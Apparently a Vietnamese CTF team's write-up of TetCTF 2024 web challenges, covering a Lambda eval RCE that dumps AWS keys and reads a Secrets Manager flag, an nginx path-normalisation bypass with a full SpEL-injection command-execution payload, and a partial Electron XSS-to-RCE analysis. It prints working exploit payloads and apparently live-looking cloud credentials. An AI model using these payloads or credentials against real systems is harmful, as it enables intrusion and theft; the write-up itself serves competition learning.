Khi truy cập web challenge cung cấp, ta được như sau

Dựa vào response thì ta biết được User Input ha...]]></description><link>https://blog.kcsc.edu.vn/tetctf-2024-write-up</link><guid isPermaLink="true">https://blog.kcsc.edu.vn/tetctf-2024-write-up</guid><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[kev1n]]></dc:creator><pubDate>Tue, 30 Jan 2024 11:40:17 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-web">Web</h1>
<h2 id="heading-hello-from-api-gw-100">Hello from API GW (100)</h2>
<p><strong><em>credit: endy</em></strong></p>
<p><img src="https://3814726272-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FVpSAmVxxiK4b2ZV8hBDN%2Fimage.png?alt=media&amp;token=0446c13b-b304-4b32-a430-bd1dcbc0f916" alt class="image--center mx-auto" /></p>
<p>Bài này là một bài về cloud, lần đầu mình tiếp xúc với dạng này nên còn gà và chưa thể tự mình solved được</p>
<p>Khi truy cập web challenge cung cấp, ta được như sau</p>
<p><img src="https://3814726272-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FFcfOZ8HHLj351LA8uHX4%2Fimage.png?alt=media&amp;token=d9a39a1a-7772-4899-89a7-2390f06f9e55" alt /></p>
<p>Dựa vào response thì ta biết được User Input hay chính là param <code>vulnerable</code> sẽ được Evaluated và trả về kết quả. Vì chall blackbox hoàn toàn, nên mình fuzz xem hành vi Evaluated như thế nào bằng Burp Intruder và phát hiện eval được thực hiện bằng nodejs code.</p>
<p>Mình dùng payload sau để RCE</p>
<p><img src="https://3814726272-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FLWsXm5POgBGylxZWKGnW%2Fimage.png?alt=media&amp;token=a35063e7-6501-49fc-adea-a3bad9f6c596" alt /></p>
<p>Tuy nhiên sau gần nửa buổi mò mẫm trên server không ra được gì, nên mình đã DM tác giả để cầu cứu</p>
<p><img src="https://3814726272-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FOc6SfJHbTrabBgp9hRyk%2Fimage.png?alt=media&amp;token=04e1774b-3d55-4a73-a840-038ff75fe088" alt class="image--center mx-auto" /></p>
<p>Có được thông tin này mình chuyển sang tập trung exploit AWS.</p>
<p>Khi check env trên server thì mình được kết quả như sau</p>
<pre><code class="lang-plaintext">"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
"AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2VjEDcaDmFwLXNvdXRoZWFzdC0yIkYwRAIgO+7HFGEHJ/f0RSV04kjONaSlRAeYwhNDBqGiBR8SDd8CIEj8OoHhuUa/uSZXs0BpJuWt54pY+pG0pm2mFddleILrKsUDCPD//////////wEQAxoMNTQzMzAzMzkzODU5IgxIUtYnJwb6w/X5JpMqmQO0NGpp1hU/KZFXbM5mLLXIV38cElX8/Z8FXBmW0CUPYPR8smBRN8HYEs89eOSKc/vzV3HOppp+Kfk/9oWs9obtphChd5J93mqnPPQSWkKtilQzT5IFZ2aZgvvy7Bdts2j9Ni26qveBDIms28Dt3qOIibmiW8cQ0io0DRQOPBF3lWyoktuLg5VnWviXi2BRbrK8+Rh203otRUNj49BFEvXBCFlaXAe9c4Nvj2cKC1KC6hpNae5ZRG/Y5Rw187iFitnGji7XsWIFZYqh3VBxk5EuwpWP1Jd9f++Qm+KvijK7BsAx4FERaHrOM8XvW/ofycXdIin3F/YBXOrfUoVH8oVKqPdZSwKWe6Hg5tmR/wAR+OhJMrsEPvsZjp2+TLfKlD+CPh7WFycbQQ65eZdo11IYKZvjGoeKUWXZ+BH/rNE70SKiomjJyxaL2JJMGKkYWU6pyT4qyQeBEdNvAv7LIQE0mQZ5wUJGUYum297lWnfmfW8UEEVCBa780bl3w9jopuq42l4TaWY+sRTCvovzVELBLUoyLZNseB5JMIfv3q0GOp8BR5amTDndFktnwrJeAg8aUHFlAVagFFoxVmyEu90LeFo3OrxFXheSka82yYg6ET1IWk9vNd7Lhzp3MlVRxJXmo8ljsTnKBqo0WeHnW4qNyurUeF82tHtDHUcRCOp0Z8VxzVv0uKij+/ULOywoajP5OnmNnOrN9cD9Bl26NP3ukZIB5v5cNqyqthXbpBKaGO5f5TONoGjacY0jK/sFzaCy",
"AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR",
"LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
"LAMBDA_TASK_ROOT":"/var/task",
"AWS_LAMBDA_RUNTIME_API":"127.0.0.1:9001",
"AWS_LAMBDA_LOG_STREAM_NAME":"2024/01/29/[$LATEST]30dd9468224f464e83c09e6d42403058",
"AWS_EXECUTION_ENV":"AWS_Lambda_nodejs18.x",
"AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129:2000",
"AWS_LAMBDA_FUNCTION_NAME":"TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR",
"PATH":"/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
"AWS_DEFAULT_REGION":"ap-southeast-2",
"PWD":"/var/task",
"AWS_SECRET_ACCESS_KEY":"AdbLHBQeAU/IJYrJ4cJ/7RzCumpS36Pq3RxhZ0eR",
"LAMBDA_RUNTIME_DIR":"/var/runtime",
"LANG":"en_US.UTF-8",
"AWS_LAMBDA_INITIALIZATION_TYPE":"on-demand",
"NODE_PATH":"/opt/nodejs/node18/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task",
"TZ":":UTC",
"AWS_REGION":"ap-southeast-2",
"ENV_ACCESS_KEY":"AKIAX473H4JB76WRTYPI",
"AWS_ACCESS_KEY_ID":"ASIAX473H4JBYHUWJR4U",
"SHLVL":"0",
"ENV_SECRET_ACCESS_KEY":"f6N48oKwKNkmS6xVJ8ZYOOj0FB/zLb/QfXCWWqyX",
"_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129",
"_AWS_XRAY_DAEMON_PORT":"2000",
"AWS_XRAY_CONTEXT_MISSING":"LOG_ERROR",
"_HANDLER":"index.handler",
"AWS_LAMBDA_FUNCTION_MEMORY_SIZE":"128",
"NODE_EXTRA_CA_CERTS":"/var/runtime/ca-cert.pem",
"_X_AMZN_TRACE_ID":"Root=1-65b7b8fe-30aba47b2289b9772f9f3866;Parent=62b9a8f75698e2f1;Sampled=0;Lineage=c3b1dc18:0"
</code></pre>
<p>Ở đây ta có thể dễ dàng lấy được <code>AWS_ACCESS_KEY_ID</code> và <code>AWS_SECRET_ACCESS_KEY</code> để tương tác với AWS service, tuy nhiên sau mỗi lần mình đọc env thì 2 giá trị này thay đổi liên tục, chỉ có <code>ENV_ACCESS_KEY</code> và <code>ENV_SECRET_ACCESS_KEY</code> cố định không đổi. Mình dùng 2 giá trị này để thay thế.</p>
<p>Khởi tạo configure với access_key và secret_key</p>
<pre><code class="lang-bash">└─$ aws configure --profile cloud1
AWS Access Key ID [None]: AKIAX473H4JB76WRTYPI
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-2
Default output format [None]:
</code></pre>
<p>Mình dùng <a target="_blank" href="https://github.com/shabarkin/aws-enumerator"><strong>aws-enumerator</strong></a> để enum thì biết được, với credentials hiện tại thì có các permission sau:</p>
<pre><code class="lang-plaintext">DYNAMODB DescribeEndpoints
IAM GetAccountPasswordPolicy
SECRETSMANAGER ListSecrets
STS GetSessionToken
STS GetCallerIdentity
</code></pre>
<p>Nhìn vào là biết nên check cái nào đầu tiên rồi. Chạy command sau để xem <code>ListSecrets</code></p>
<pre><code class="lang-bash">└─$ aws secretsmanager list-secrets --profile cloud1
{
    <span class="hljs-string">"SecretList"</span>: [
        {
            <span class="hljs-string">"ARN"</span>: <span class="hljs-string">"arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27"</span>,
            <span class="hljs-string">"Name"</span>: <span class="hljs-string">"prod/TetCTF/Flag"</span>,
            <span class="hljs-string">"LastChangedDate"</span>: 1706155046.205,
            <span class="hljs-string">"LastAccessedDate"</span>: 1706486400.0,
            <span class="hljs-string">"Tags"</span>: [],
            <span class="hljs-string">"SecretVersionsToStages"</span>: {
                <span class="hljs-string">"44e68972-c191-4bc8-acc8-d0ba3a29cea6"</span>: [
                    <span class="hljs-string">"AWSCURRENT"</span>
                ]
            },
            <span class="hljs-string">"CreatedDate"</span>: 1706155045.933
        }
    ]
}
</code></pre>
<p>Dùng command sau để đọc prod và get flag</p>
<pre><code class="lang-bash">└─$ aws secretsmanager get-secret-value --secret-id prod/TetCTF/Flag --profile cloud1
{
    <span class="hljs-string">"ARN"</span>: <span class="hljs-string">"arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27"</span>,
    <span class="hljs-string">"Name"</span>: <span class="hljs-string">"prod/TetCTF/Flag"</span>,
    <span class="hljs-string">"VersionId"</span>: <span class="hljs-string">"44e68972-c191-4bc8-acc8-d0ba3a29cea6"</span>,
    <span class="hljs-string">"SecretString"</span>: <span class="hljs-string">"{\"Flag\":\"TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}\"}"</span>,
    <span class="hljs-string">"VersionStages"</span>: [
        <span class="hljs-string">"AWSCURRENT"</span>
    ],
    <span class="hljs-string">"CreatedDate"</span>: 1706155046.202
}
</code></pre>
<h2 id="heading-j4v4-censored-unintended-solution-that-break-nginx-rules"><strong>J4v4 Censored (unintended solution that break nginx rules)</strong></h2>
<p><strong><em>credit: devme4f</em></strong></p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/theme.png" alt="theme" class="image--center mx-auto" /></p>
<h3 id="heading-preface"><strong>Preface</strong></h3>
<p>Chào mọi người, hôm nay mình sẽ write up lại bài <code>J4v4 Censored</code> trong giải <code>TetCTF 2024</code> mà team mình (KCSC) đã solve được. Đây là 1 bài java mình đánh giá không quá khó nhưng lại là half-black-box nên phải đoán, fuzzing khá nhiều nên khi làm mình khá nản nhưng cũng nhờ có teammates quyết tâm tìm ra được unintended solution nên may mắn (cũng chính là team duy nhất) solved được. Let’s start!</p>
<h3 id="heading-exploring">Exploring</h3>
<p>Đề cho url đến swagger endpoint nhưng khi truy cập thì không load được list các api:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/swagger.png" alt="swagger" class="image--center mx-auto" /></p>
<p>Nguyên nhân do <code>/v2/api-docs?group=discovery</code> đã bị chặn:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/discovery.png" alt="discovery" class="image--center mx-auto" /></p>
<p>Thử chuyển thành post method thì bypass được luôn 😀😀:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/bypass_discovery.png" alt="bypass_discovery" class="image--center mx-auto" /></p>
<p>Từ info của swagger thì biết được app đang chạy <a target="_blank" href="https://github.com/nepxion/Discovery/">/nepxion/Discovery</a> module <a target="_blank" href="https://github.com/nepxion/Discovery/">discovery-p</a><a target="_blank" href="https://github.com/Nepxion/Discovery/tree/6.x.x/discovery-plugin-admin-center/discovery-plugin-admin-center-starter-swagger">lugin-admin-center-starter-swagger</a> nhưng như title <code>discovery-springcloud-example-admin-remake</code> thì có thể đã được modify.</p>
<p>Thử tìm CVE trên nền tảng này thì mình thấy có 2 lỗ hổng đáng chú ý là SpEL Injection và SSRF tại đây: <a target="_blank" href="https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/">https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/</a></p>
<p>PoC của 2 lỗ hổng này cũng có sẵn rồi, nhưng khi ốp vào thì lại không ăn ngay:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/test_poc.png" alt="test_poc" class="image--center mx-auto" /></p>
<p>Sau một hồi fuzz qua thì mình thấy các keyword như <code>strategy</code>, <code>validate-expression</code> đã bị chặn, cùng với một số ký tự như <code>\</code> hay <code>;</code>. Cũng dễ nhận thấy là endpoint này bị chặn bởi nginx chứ không phải java app, tiềm tàng nguy cơ bị bypass 😂.</p>
<h3 id="heading-bypass-nginx">Bypass nginx</h3>
<p>Ý tưởng chộp đến ngay là dùng bug SSRF để bypass và request đến endpoint <code>/strategy/validate-expression</code> từ localhost. Thử SSRF thì đến <code>/swagger-ui.html</code> thì vẫn ok:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/test_index.png" alt="test_index" class="image--center mx-auto" /></p>
<p>Nhưng đến <code>/strategy/validate-expression</code> thì không được, nguyên nhân cũng khá dễ hiểu do nginx đã chặn các keyword mình đã kể ở trên nếu nằm trong URL, mình cũng chưa tìm ra cách workaround nào khác do <a target="_blank" href="https://github.com/Nepxion/Discovery/blob/9f3e7a5f2ee028ffc9750b02c8642f2f53dbc330/discovery-plugin-admin-center/discovery-plugin-admin-center-starter/src/main/java/com/nepxion/discovery/plugin/admincenter/endpoint/RouterEndpoint.java#L55">endpoint</a> này lấy params từ path variable:</p>
<pre><code class="lang-java"><span class="hljs-meta">@RequestMapping(path = "/route/{routeServiceId}/{routeProtocol}/{routeHost}/{routePort}/{routeContextPath}", method = RequestMethod.GET)</span>
<span class="hljs-meta">@ApiOperation(value = "获取指定节点可访问其他节点的路由信息列表", notes = "", response = ResponseEntity.class, httpMethod = "GET")</span>
    <span class="hljs-meta">@ResponseBody</span>
    <span class="hljs-keyword">public</span> ResponseEntity&lt;?&gt; route(<span class="hljs-meta">@PathVariable(value = "routeServiceId")</span> <span class="hljs-meta">@ApiParam(value = "目标服务名", required = true)</span> String routeServiceId, <span class="hljs-meta">@PathVariable(value = "routeProtocol")</span> <span class="hljs-meta">@ApiParam(value = "目标服务采用的协议。取值： http | https", defaultValue = "http", required = true)</span> String routeProtocol, <span class="hljs-meta">@PathVariable(value = "routeHost")</span> <span class="hljs-meta">@ApiParam(value = "目标服务所在机器的IP地址", required = true)</span> String routeHost, <span class="hljs-meta">@PathVariable(value = "routePort")</span> <span class="hljs-meta">@ApiParam(value = "目标服务所在机器的端口号", required = true)</span> <span class="hljs-keyword">int</span> routePort, <span class="hljs-meta">@PathVariable(value = "routeContextPath")</span> <span class="hljs-meta">@ApiParam(value = "目标服务的调用路径前缀", defaultValue = "/", required = true)</span> String routeContextPath) {
        <span class="hljs-keyword">return</span> doRemoteRoute(routeServiceId, routeProtocol, routeHost, routePort, routeContextPath);
    }
</code></pre>
<p>Chall cũng được cấu hình để chặn out-bound do đó không thể bypass bằng cách tự host server để redirect về lại endpoint mong muốn.<br />Stuck tầm 1 ngày thì cuối cùng đồng đội mình (<code>@null001</code>) đã tìm ra cách bypass nginx proxy để request được đến <code>/strategy/validate-expression</code> và exploit SpEL inject, cũng chẳng cần đến bug SSRF luôn(nghe là intended):</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/ui_bypass_dc_r.png" alt="ui_bypass_dc_r" class="image--center mx-auto" /></p>
<p>URL để bypasss như sau:</p>
<pre><code class="lang-http">/strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/
</code></pre>
<p>Vì không có source nên mình không thể confirm (<a target="_blank" href="https://kcsc.hashnode.dev/tetctf-2024-write-up#heading-end-ref">sau khi giải end có source thì đã confirm được</a>) nhưng mình giả định nguyên nhận là do nginx khi nhận request sẽ thực hiện normalize url trước khi thực hiện các directives để check. Quá trình normalize đơn giản hóa như sau <a target="_blank" href="https://stackoverflow.com/questions/48708361/nginx-request-uri-vs-uri">stackoverflow</a>:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/stackoverflow.png" alt="stackoverflow" class="image--center mx-auto" /></p>
<p>Do đó khi thực hiện request trên, nginx sẽ thực hiên url decode và normalize thành <code>$uri='/'</code> đẫn đến các rule check trên <code>$uri='/'</code> bằng 0 😆😆.</p>
<p>Nhưng cũng chưa ngon ăn ngay do param <code>expression</code> đã được tác giả custom lại và thêm các backlist keyword mà khi thực hiện SpEL inject sẽ không ăn ngay mà mình fuzz được thì đó là <code>'</code>, <code>"</code> và <code>toString</code>. Ngồi bypass tiếp thôi</p>
<h3 id="heading-bypass-spel-injection-blacklist">Bypass SpEL injection blacklist</h3>
<p>Với các keyword bị blacklist là <code>'</code>, <code>"</code> và <code>toString</code> nhằm chặn tạo chuỗi string thì ai quen thuộc với dạng đề CTF này mình nghĩ cũng sẽ không quá khó khăn để bypass.</p>
<p>Do đang là dạng spel inject blind (+ không có out-bound) nên mình hình dung payload để exploit nó sẽ tương tự như này, hạn chế sử dụng các chuỗi string cũng như lấy được input và trả về response đều từ header:</p>
<pre><code class="lang-java">T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(<span class="hljs-number">1</span>,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(<span class="hljs-keyword">new</span> ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(<span class="hljs-number">1</span>)).start().getInputStream()).useDelimiter(<span class="hljs-string">"\\A"</span>).next()))
</code></pre>
<p>Để dễ hiểu thì payload có thể được chia nhỏ như sau:</p>
<ol>
<li>Lấy spring response object để kiểm soát response của request:</li>
</ol>
<pre><code class="lang-java">T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse()
</code></pre>
<ol>
<li><p>Gọi <code>setHeader()</code> để trả về output của command từ response</p>
</li>
<li><p>Dùng Scanner để lấy hết string output từ inputstream của process:</p>
</li>
</ol>
<pre><code class="lang-java">T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance().useDelimiter(<span class="hljs-string">"\\A"</span>).next()
</code></pre>
<ol>
<li>Gọi <code>ProcessBuilder</code> thực thi command:</li>
</ol>
<pre><code class="lang-java"><span class="hljs-keyword">new</span> ProcessBuilder(&lt;input&gt;).start()
</code></pre>
<ol>
<li>Lấy spring request object để lấy được input (command) từ request hiện tại:</li>
</ol>
<pre><code class="lang-java">T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest()
</code></pre>
<ol>
<li>Và gọi <code>getHeader()</code> để lấy input từ header <code>1</code></li>
</ol>
<p>Để build được payload trên thì mình tự dựng lab tại local để test cho dễ thôi, tuy nhiên payload trên vẫn có chỗ bị blacklist đó là <code>"\A"</code>, để bypass có thể dùng cách sau</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/local_build_payload.png" alt="local_build_payload" class="image--center mx-auto" /></p>
<p>Convert qua dạng ssti:</p>
<pre><code class="lang-java">(<span class="hljs-keyword">new</span> String(T(java.lang.Character).toChars(<span class="hljs-number">92</span>))).concat(<span class="hljs-keyword">new</span> String(T(java.lang.Character).toChars(<span class="hljs-number">65</span>)))
</code></pre>
<p>Full payload:</p>
<pre><code class="lang-plaintext">GET /strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/?condition=T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new+ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter((new+String(T(java.lang.Character).toChars(92))).concat(new+String(T(java.lang.Character).toChars(65)))).next()))&amp;validation=a%3dtest HTTP/2
Host: java.tienbip.xyz
1: /readflag
</code></pre>
<p>Done 😇:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/done.png" alt="done" class="image--center mx-auto" /></p>
<p><strong>flag:</strong></p>
<pre><code class="lang-plaintext">TetCTF{ssrf`bYp4ss-sst!;W1th&lt;3. :)}
</code></pre>
<h3 id="heading-end-ref">end - ref</h3>
<p><strong>source được cung cấp</strong>:<br /><a target="_blank" href="https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing">https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing</a></p>
<p><strong>nginx.conf:</strong></p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
      <span class="hljs-attribute">listen</span> <span class="hljs-number">80</span>;

      <span class="hljs-attribute">server_name</span>    <span class="hljs-number">2024</span>.tet.ctf;
      <span class="hljs-attribute">access_log</span> /var/log/nginx/tetctf-access.log;
      <span class="hljs-attribute">error_log</span> /var/log/nginx/tetctf-<span class="hljs-literal">error</span>.log;



      <span class="hljs-attribute">location</span> / {
            <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-Host <span class="hljs-variable">$host</span>;
            <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-Server <span class="hljs-variable">$host</span>;
            <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
            <span class="hljs-attribute">proxy_pass</span> http://nepxion-admin:1101;
      }

      <span class="hljs-attribute">location</span> /v2/api-docs {
            <span class="hljs-attribute">if</span> (<span class="hljs-variable">$request_method</span> = GET) {
                  <span class="hljs-attribute">rewrite</span> /v2/api-docs /null <span class="hljs-literal">break</span>;
            }
            <span class="hljs-attribute">proxy_pass</span> http://nepxion-admin:1101/v2/api-docs;
      }

      <span class="hljs-attribute">location</span> <span class="hljs-regexp">~ .*strategy.*</span> {
            <span class="hljs-comment"># prevent any cve for api endpoint :) </span>
            <span class="hljs-attribute">deny</span> all;
      }


      <span class="hljs-attribute">location</span> <span class="hljs-regexp">~ .*validate-expression.*</span> {
            <span class="hljs-comment"># prevent any cve for api endpoint :) </span>
            <span class="hljs-attribute">deny</span> all;
      }

      <span class="hljs-attribute">location</span> <span class="hljs-regexp">~ .*\/..\;</span> {
            <span class="hljs-comment"># it's bad for Tomcat :)</span>
            <span class="hljs-attribute">deny</span> all;
      }

      <span class="hljs-attribute">location</span> <span class="hljs-regexp">~ .*\/\;</span> {
            <span class="hljs-comment"># it's bad for Tomcat :)</span>
            <span class="hljs-attribute">deny</span> all;
      }

      <span class="hljs-attribute">location</span> <span class="hljs-regexp">~ .*\;</span> {
            <span class="hljs-comment"># it's bad for Tomcat :)</span>
            <span class="hljs-attribute">deny</span> all;
      }

}
</code></pre>
<p>Check location regex block trước prefix block:</p>
<p><img src="https://devme4f.github.io/images/2024/TetCTF-2024_J4v4-Censored/nginx_process.png" alt="nginx_process" class="image--center mx-auto" /></p>
<h2 id="heading-x-et-et"><strong>X Ét Ét</strong></h2>
<p><strong><em>credit: chanze</em></strong></p>
<h3 id="heading-boi-canh">Bối cảnh</h3>
<p>Bước đầu ta xem qua các chức năng của trang web bao gồm:</p>
<ul>
<li><p>Đăng ký</p>
</li>
<li><p>Đăng nhập</p>
</li>
<li><p>Tạo ticket</p>
</li>
<li><p>Report ticket</p>
</li>
</ul>
<p>Xem qua source có ta sẽ thấy có 3 folder chính là:</p>
<ul>
<li><p>app</p>
</li>
<li><p>bot</p>
</li>
<li><p>server</p>
</li>
</ul>
<p>Ta xem qua <a target="_blank" href="http://entrypoint.sh"><code>entrypoint.sh</code></a>:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/sh</span>


<span class="hljs-built_in">echo</span> /app/flag.c
gcc /app/flag.c -o /flag
chmod 111 /flag

rm /app/flag.c

/usr/bin/supervisord -c /etc/supervisord.conf
</code></pre>
<p>Ta xác định mục tiêu là RCE để đọc flag.<br />Tại folder <code>app</code> và <code>bot</code> ta biết được hành vi của con bot sẽ mở trình duyệt bằng electron và truy cập vào nội dung mà ta report. Như tên bài và ta thấy electron thì ta xác định được đây là một bài XSS -&gt; RCE trong electron.</p>
<h3 id="heading-phan-tich">Phân tích</h3>
<p>Ta xem qua chức năng tạo ticket:</p>
<p><img src="https://hackmd.io/_uploads/Hyfzv7Lc6.png" alt="image" /></p>
<p>Điều đáng chú ý là tại đây ta có tính năng upload file khi tạo ticket, ta xem qua code của chức năng này:</p>
<p><img src="https://hackmd.io/_uploads/Syu7umI5p.png" alt="image" /></p>
<p>Tại đây có 2 điều đáng chú ý sau:<br /><strong>Thứ nhất</strong> title, conetent được lưu vào db nhưng không qua santize.<br /><strong>Thứ hai</strong> file ta upload lên sẽ không trải qua bất kì bước santize về nội dung của file. Tên file khi lưu trên server sẽ là một chuỗi uuid ngẫu nhiên với extension do chính ta kiểm soát.</p>
<blockquote>
<p>Khi lần đầu đọc qua mô tả của hàm splitext thì ý tưởng đầu tiên xuất hiện trong đầu mình là Path Traversal. Tuy nhiên hàm này được code rất an toàn, nên việc khai thác path traversal là không thể</p>
</blockquote>
<p>Tiếp đến sau khi tạo ticket thì mình đến với chức năng report thì luồng chương trình sẽ như sau:</p>
<p><img src="https://hackmd.io/_uploads/SktoRXr9p.png" alt="image" /></p>
<p>Tại đây chương trình sẽ lấy ra <code>ticket</code> từ <code>id</code> do ta gửi lên, khi này <code>id</code>, <code>ticket.title</code>, <code>ticket.content</code> sẽ qua <code>bleach.clean()</code> sau đấy được gửi tới <code>http://127.0.0.1:5001</code>. Công dụng và cách dùng <code>bleach.clean()</code> an toàn được ghi như sau trong documentation:</p>
<p><img src="https://hackmd.io/_uploads/Hy3I1EScT.png" alt="image" /></p>
<p>Tiếp theo sau khi đi từ POST request dữ liệu sẽ được xử lý như sau:</p>
<p><img src="https://hackmd.io/_uploads/SknskEHcp.png" alt="image" /></p>
<p>Tại đây ta thấy rằng <code>id</code>, <code>ticket.title</code>, <code>ticket.content</code> sẽ qua base64 encode và gán vào biến môi trường và chạy file <code>/app/app/run.sh</code><br /><code>/app/app/run.sh</code></p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

rm -rf /tmp/.X99-lock
Xvfb :99 &amp;
<span class="hljs-built_in">cd</span> <span class="hljs-string">"/app/app"</span>
<span class="hljs-comment">#</span>
timeout -k 2 3 node_modules/.bin/electron . --disable-gpu --no-sandbox --args  --ignore-certificate-errors &amp;
</code></pre>
<p>Từ code thì ta thấy rằng sẽ chạy electron app:</p>
<p><img src="https://hackmd.io/_uploads/Syr8xVSc6.png" alt="image" /></p>
<p>Khi này ta có thể xác định rằng <code>id</code>, <code>ticket.title</code>, <code>ticket.content</code> đã được xử lý an toàn bằng <code>bleach.clean()</code> đúng cách, nên ta không thể khai thác XSS từ các giá trị trên tại đây.<br />Nhưng tại đây có một lỗ hổng khác, ta có thể thấy:</p>
<pre><code class="lang-javascript">local = link.includes(<span class="hljs-string">"http://localhost/tmp/"</span>);
</code></pre>
<p>Tại đây thay vì dùng <code>startsWith</code> thì tác giả sử dụng <code>includes</code>, regex ở trên match với kết quả như sau:</p>
<p><img src="https://hackmd.io/_uploads/rJOh8Nrqa.png" alt="image" class="image--center mx-auto" /></p>
<p>Như vậy ta có thể kiểm soát hoàn toàn <code>src</code> của <code>iframe</code>.<br />Khi này ta có thể cho trỏ về trang web của chúng ta để XSS, đấy là điều ta sẽ làm nếu như server cho phép ta ra mạng, tác giả đã config iptables để chặn chúng ta ra mạng:</p>
<p><img src="https://hackmd.io/_uploads/S1tC9NScT.png" alt="image" /></p>
<p>Vậy tại đây ta có còn cách nào để khai thác XSS hay không? Câu trả lời là có, nhưng mình sẽ nói ở phần sau của bài viết.</p>
<p>Ta thấy sau khi qua chỗ gán <code>src</code> cho <code>iframe</code> thì chương trình tiếp tục kiểm tra xem <code>content</code> có bắt đầu bằng <code>[IMPORTANT ALERT]</code> hay không:</p>
<p><img src="https://hackmd.io/_uploads/ryhcoVB5T.png" alt="image" /></p>
<p>Để content bắt đầu bằng <code>[IMPORTANT ALERT]</code> thì ta phải tạo ticket với username là <code>admin</code>:</p>
<p><img src="https://hackmd.io/_uploads/HJyJhNr5T.png" alt="image" /></p>
<p>Nhưng user <code>admin</code> đã được khởi tạo ngay khi chương trình chạy. Ta tìm cách để bypass chỗ này, như ta thấy thì <code>username</code> sẽ được lấy từ <code>session</code>:</p>
<pre><code class="lang-python">username = session.get(<span class="hljs-string">'username'</span>)
</code></pre>
<p>Khi ta <code>login</code> thì chương trình sẽ gán giá trị <code>username</code> vào <code>session</code> như sau:</p>
<p><img src="https://hackmd.io/_uploads/S1KY7BS5p.png" alt="image" /></p>
<p>Như ta thấy thay vì gán trực tiếp <code>username</code> vào <code>session</code> thì tại đây <code>username</code> sẽ qua <code>strip()</code>, hàm <code>strip()</code> sẽ loại bỏ mọi khoảng trắng ở cả 2 đầu của chuỗi, nên tại đây ta chỉ việc thêm các ký tự khoảng trắng vào 2 đầu của <code>username</code> là sẽ thành công bypass.</p>
<p>Khi này ta đã thành công popup được notification window (hay có thể được nói là gọi được event <code>CreateViewer</code>)</p>
<p><img src="https://hackmd.io/_uploads/S1c3hQL9a.png" alt="image" /></p>
<p>Tuy nhiên trang được mở trong notification window là một endpoint được gán CSP:</p>
<p><img src="https://hackmd.io/_uploads/B1zN6QLqa.png" alt="image" /></p>
<p>Như ta thấy thì tại <code>script-src</code> là <code>self</code>, kết hợp với việc ta có thể upload file lên server như vậy ta có thể upload file js lên và load vào tag script? Kịch bản này đẹp nhưng nó không thể xảy ra vì khi ta lấy file về thì sẽ được trả về dưới dạng JSON</p>
<p><img src="https://hackmd.io/_uploads/Bk2eR7Lc6.png" alt="image" /></p>
